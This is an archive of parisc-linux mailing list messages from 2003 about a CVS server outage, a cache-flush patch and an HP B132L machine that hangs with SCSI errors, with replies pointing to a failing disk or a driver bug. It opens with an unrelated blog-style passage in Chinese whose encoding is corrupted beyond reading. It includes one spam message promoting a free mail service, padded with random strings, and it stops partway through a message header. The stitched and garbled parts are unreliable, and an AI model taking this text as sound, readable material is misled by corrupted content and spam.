ʱȴԶֱƿ磬ǵŵġŵķӡŵ·ŵˡհһƣɻŬİյһеһƿڲֱܷͬңƹ·ϳ˶һΣյľٶܶڳ˿Ȼ飬ƻвͬĿҲƵرҲƶƸе֪ԼʺϹ˳ǲʺϹġ
һƣ˭ܸʲô˭ܸҸôһƣ׸úȥδӣʧȥ׵ӣ˭ܹ˭Ը˭Ըǻ˭Ը谮һŮһֵŮȷʵĴڣ
ˣȷʵˣþ̲Ǹ壿ǹޣ
ʧʱ򡢵ĵʱ򡢵پʱͬĵطҲϣиδδ֪δǵվڴǰŮڿѰҴ𰸣

վڴǰŮ
0397ҹڹ
http://www.blogcn.com/blog/?u=cqnvhai
Email:cqnvhai@163.com 



From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs pserver access pb?
Date: Wed, 10 Sep 2003 12:14:47 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <3F5F15B7.7060103@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622764 30777 80.91.229.3 (22 Nov 2014 02:19:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:24 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 06:14:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62E8C4831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 06:14:37 -0600 (MDT)
Original-Received: from [62.235.120.113] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19x3ro-0000rO-00; Wed, 10 Sep 2003 14:14:36 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19470

Hi pa,

cvs [update aborted]: connect to 
cvs.parisc-linux.org(192.25.206.14):2401 failed: Connection timed out

Thanks in advance for help,
    Joel




From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs pserver access pb?
Date: Wed, 10 Sep 2003 13:21:13 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030910122113.GS18654@parcelfarce.linux.theplanet.co.uk>
References: <3F5F15B7.7060103@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622764 30780 80.91.229.3 (22 Nov 2014 02:19:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 06:21:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDE114831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 06:21:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19x3yD-0005OP-GS; Wed, 10 Sep 2003 13:21:13 +0100
Content-Disposition: inline
In-Reply-To: <3F5F15B7.7060103@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19471

On Wed, Sep 10, 2003 at 12:14:47PM +0000, Joel Soete wrote:
> cvs [update aborted]: connect to 
> cvs.parisc-linux.org(192.25.206.14):2401 failed: Connection timed out

It went down last night shortly after I went to bed.  We're waiting for
someone in Fort Collins to get in and reboot it.  I would guess that's
2-3 hours from now.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cacheflush.h patch?
Date: Wed, 10 Sep 2003 12:42:12 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <3F5F1C24.8060205@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622765 30785 80.91.229.3 (22 Nov 2014 02:19:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:25 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 06:42:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E7234831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 06:42:04 -0600 (MDT)
Original-Received: from [62.235.120.113] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19x4IK-0002ag-00; Wed, 10 Sep 2003 14:42:00 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19472

Hi Randolph,

As you may already read before, I experiment  pb  with  SMP  kernel  
2.4  on  a N server and we suspect a tlb management pb.

On the other hand, I read your patch:   
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2003-September/033367.html

May I ask you more details on the reason of this patch?

Could (would) it be back-ported to 2.4?

Thanks in advance,
    Joel



From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sebastian Brueckner <sebastian.brueckner@epost.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP B132L hangs
Date: Wed, 10 Sep 2003 15:19:21 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <3F5F24D9.7030800__32588.2576326423$1416622765$gmane$org@epost.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622765 30787 80.91.229.3 (22 Nov 2014 02:19:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:25 +0000 (UTC)
To: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 07:19:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.epost.de (unknown [193.28.100.166])
	by dsl2.external.hp.com (Postfix) with ESMTP id 911874831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 07:19:53 -0600 (MDT)
Original-Received: from epost.de (217.227.14.7) by mail.epost.de (6.7.015) (authenticated as sebastian.brueckner@epost.de)
        id 3F48F8C40019825F; Wed, 10 Sep 2003 15:19:47 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-at, de, en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19473

Hi!

In the last few days the B132l I use as DSL router completely hung 3 
times. Every time requiring a power cycle to revive it. It is running 
Debian testing with kernel 2.4.18-hppa.

To test the machine I tried to compile a new kernel. After compiling a 
few files everything hung and spit out the following messages:

scsi0: (2:0) Synchronous at offset 8, period 100ns
scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 000902 failing command because of reset, slot 00010520, cmnd 10081c00
  failing command because of reset, slot 00010654, cmnd 10081a00
  failing command because of reset, slot 00010788, cmnd 10081800
  failing command because of reset, slot 000108bc, cmnd 10081600
  failing command because of reset, slot 000109f0, cmnd 10081400
  failing command because of reset, slot 00010b24, cmnd 10081200
  failing command because of reset, slot 00010c58, cmnd 10081000
  failing command because of reset, slot 00010d8c, cmnd 10082e00
  failing command because of reset, slot 00010ec0, cmnd 10082c00
  failing command because of reset, slot 00010ff4, cmnd 10082a00
  failing command because of reset, slot 00011128, cmnd 10082800
  failing command because of reset, slot 0001125c, cmnd 10082600
  failing command because of reset, slot 00011390, cmnd 10082400
  failing command because of reset, slot 000114c4, cmnd 10082200
  failing command because of reset, slot 000115f8, cmnd 10082000
  failing command because of reset, slot 0001172c, cmnd 100a4e00
scsi0: (2:0) Synchronous at offset 8, period 100ns
scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 000902 failing command because of reset, slot 00010520, cmnd 10081c00
  failing command because of reset, slot 00010654, cmnd 10081a00
  failing command because of reset, slot 00010788, cmnd 10081800

... and so on and so forth ...

The power seitch does nothing, only power cycling helps. I tried 
compiling the kernel again with the same results...

What do these messages mean? Is the hd defective or is it some problem 
with the scsi bus?

The machine worked flawlessly for half a year... I have no idea what 
went wrong!

Thanks in advance,
   Sebastian



From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP B132L hangs
Date: Wed, 10 Sep 2003 13:55:26 +0000
Lines: 70
Approved: news@gmane.org
Message-ID: <3F5F2D4E.7040700__20641.99955571$1416622765$gmane$org@tiscali.be>
References: <3F5F24D9.7030800@epost.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622765 30792 80.91.229.3 (22 Nov 2014 02:19:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:25 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: Sebastian Brueckner <sebastian.brueckner@epost.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 07:55:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39D984831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 07:55:30 -0600 (MDT)
Original-Received: from [62.235.120.113] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19x5RO-0006v3-00; Wed, 10 Sep 2003 15:55:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <3F5F24D9.7030800@epost.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19474

Sebastian Brueckner wrote:

> Hi!
>
> In the last few days the B132l I use as DSL router completely hung 3 
> times. Every time requiring a power cycle to revive it. It is running 
> Debian testing with kernel 2.4.18-hppa.
>
> To test the machine I tried to compile a new kernel. After compiling a 
> few files everything hung and spit out the following messages:
>
> scsi0: (2:0) Synchronous at offset 8, period 100ns
> scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
>          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
> scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
> dsp 000902 failing command because of reset, slot 00010520, cmnd 10081c00
>  failing command because of reset, slot 00010654, cmnd 10081a00
>  failing command because of reset, slot 00010788, cmnd 10081800
>  failing command because of reset, slot 000108bc, cmnd 10081600
>  failing command because of reset, slot 000109f0, cmnd 10081400
>  failing command because of reset, slot 00010b24, cmnd 10081200
>  failing command because of reset, slot 00010c58, cmnd 10081000
>  failing command because of reset, slot 00010d8c, cmnd 10082e00
>  failing command because of reset, slot 00010ec0, cmnd 10082c00
>  failing command because of reset, slot 00010ff4, cmnd 10082a00
>  failing command because of reset, slot 00011128, cmnd 10082800
>  failing command because of reset, slot 0001125c, cmnd 10082600
>  failing command because of reset, slot 00011390, cmnd 10082400
>  failing command because of reset, slot 000114c4, cmnd 10082200
>  failing command because of reset, slot 000115f8, cmnd 10082000
>  failing command because of reset, slot 0001172c, cmnd 100a4e00
> scsi0: (2:0) Synchronous at offset 8, period 100ns
> scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
>          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
> scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
> dsp 000902 failing command because of reset, slot 00010520, cmnd 10081c00
>  failing command because of reset, slot 00010654, cmnd 10081a00
>  failing command because of reset, slot 00010788, cmnd 10081800
>
> ... and so on and so forth ...
>
> The power seitch does nothing, only power cycling helps. I tried 
> compiling the kernel again with the same results...
>
> What do these messages mean? Is the hd defective or is it some problem 
> with the scsi bus?

Yes it looks like a disk becoming defective. The best way to be sure is 
to use a hp cdrom containing Diagnostic tools (iirc the last hpux 
support + would contains it). This cd is bootable and contains tools 
allowing you test your disk.

If you have another system on which you can connect your suspected disk 
you can also try a dd cmd like:
dd if=/dev/rdsk/c0txd0 of=/dev/null bs=2048k (where you replace 
/dev/rdsk/c0txd0 by the actual disk path)

>
> The machine worked flawlessly for half a year... I have no idea what 
> went wrong!

It seems to confirm your suspition (i have to manage remotely some 300 
hp server: a few b132, b180, b2000, A500, K250, L, N and a lot of D; and 
the most peaces we have to replace are disk becoming defective)

hth,
    joel




From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP B132L hangs
Date: 10 Sep 2003 11:45:09 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <1063208722.1984.10.camel__38546.3490536951$1416622766$gmane$org@mulgrave>
References: <3F5F24D9.7030800@epost.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622766 30793 80.91.229.3 (22 Nov 2014 02:19:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:26 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: Sebastian Brueckner <sebastian.brueckner@epost.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 09:45:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from HansenPartnership.com (adsl-64-109-89-108.dsl.chcgil.ameritech.net [64.109.89.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0367A4831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 09:45:28 -0600 (MDT)
Original-Received: from vpn-233.mtv1.steeleye.com (vpn-233.mtv1.steeleye.com [172.16.1.233])
	(authenticated)
	by HansenPartnership.com (8.11.6/8.11.6) with ESMTP id h8AFjFS05251;
	Wed, 10 Sep 2003 10:45:16 -0500
In-Reply-To: <3F5F24D9.7030800@epost.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19475

On Wed, 2003-09-10 at 09:19, Sebastian Brueckner wrote:
> scsi0: (2:0) Synchronous at offset 8, period 100ns
> scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
>           len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00

That's a residue of an incorrect lasi700 driver.  Notice it thinks the
length is six for a ten byte command.  This has long been fixed in the
linux-2.4 PA tree (er, I think---I've been concentrating on 2.6 mainly).

However, something higher up in the trace you don't attach caused the
actual problem that this is a response to (It's caused by the SCSI mid
layer putting the wrong command length back *after* error recovery, so
your true root cause is the error that first started this).

James





From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs pserver access pb?
Date: Wed, 10 Sep 2003 16:17:05 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3F5F4E81.6060205@tiscali.be>
References: <3F5F15B7.7060103@tiscali.be> <20030910122113.GS18654@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622766 30798 80.91.229.3 (22 Nov 2014 02:19:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 10:17:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15B514831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 10:17:08 -0600 (MDT)
Original-Received: from [62.235.120.233] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19x7eT-0006on-00; Wed, 10 Sep 2003 18:17:06 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030827 Debian/1.4-3
X-Accept-Language: en
In-Reply-To: <20030910122113.GS18654@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19476

Matthew Wilcox wrote:

>On Wed, Sep 10, 2003 at 12:14:47PM +0000, Joel Soete wrote:
>  
>
>>cvs [update aborted]: connect to 
>>cvs.parisc-linux.org(192.25.206.14):2401 failed: Connection timed out
>>    
>>
>
>It went down last night shortly after I went to bed.  We're waiting for
>someone in Fort Collins to get in and reboot it.  I would guess that's
>2-3 hours from now.
>
>  
>
Just back now :)

Joel




From - Thu Nov 08 21:29:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kaol@informatik.rwth-aachen.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: new mail                                        3Od3cbcLFZ
Date: Wed, 10 Sep 2003 16:29:18 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <D2FB75K027GI350I@informatik.rwth-aachen.de>
References: <F8G40G9E7CJ811KK@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622766 30801 80.91.229.3 (22 Nov 2014 02:19:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:26 +0000 (UTC)
To: Parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 10:29:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from compuserve.com (unknown [200.60.182.60])
	by dsl2.external.hp.com (Postfix) with SMTP id 6C57D4831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 10:29:23 -0600 (MDT)
In-Reply-To: <F8G40G9E7CJ811KK@parisc-linux.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19477

XNltMjNTwqUaIEwqU59MwwX6Bmle6pZ4fky

English version  |   

        http://www.mail15.com.   :
1)   15 ;
2)   ;
3)     (POP,IMAP,SMTP);
4)       ;
5)        ;
6)    ;
7)   .

*************

 We are glad to invite you at new free mail service http://www.mail15.com. The advantages of this service are:
 1) mailbox, up to 15 Mb;
 2) absolute privacy and high reliability;
 3) ability to use mail clients (POP3, IMAP4, SMTP);
 4) access from anywhere, anytime;
 5) flexible light-weight web interface without advertising banners;
 6) antivirus and antispam control;
 7) fast mail transfer;
 8) high speed network channel;
 9) flexible light-weight web interface;
 10) wide spread ability of mail filtering and forwarding mail;
 11) clock around support;

2GmVdNPmxvTZoZ8cvE9BgxYuEntIDO
hGvECItr60XZZmY8zuMI53g4yVr2E6RVMnzo72Qd



From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?Sebastian_Br=FCckner?= <sebastian.brueckner@epost.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP B132L hangs
Date: Wed, 10 Sep 2003 20:47:36 +0200
Lines: 113
Approved: news@gmane.org
Message-ID: <3F5F71C8.7060605__23029.9987750643$1416622767$gmane$org@epost.de>
References: <3F5F24D9.7030800@epost.de> <1063208722.1984.10.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622767 30803 80.91.229.3 (22 Nov 2014 02:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
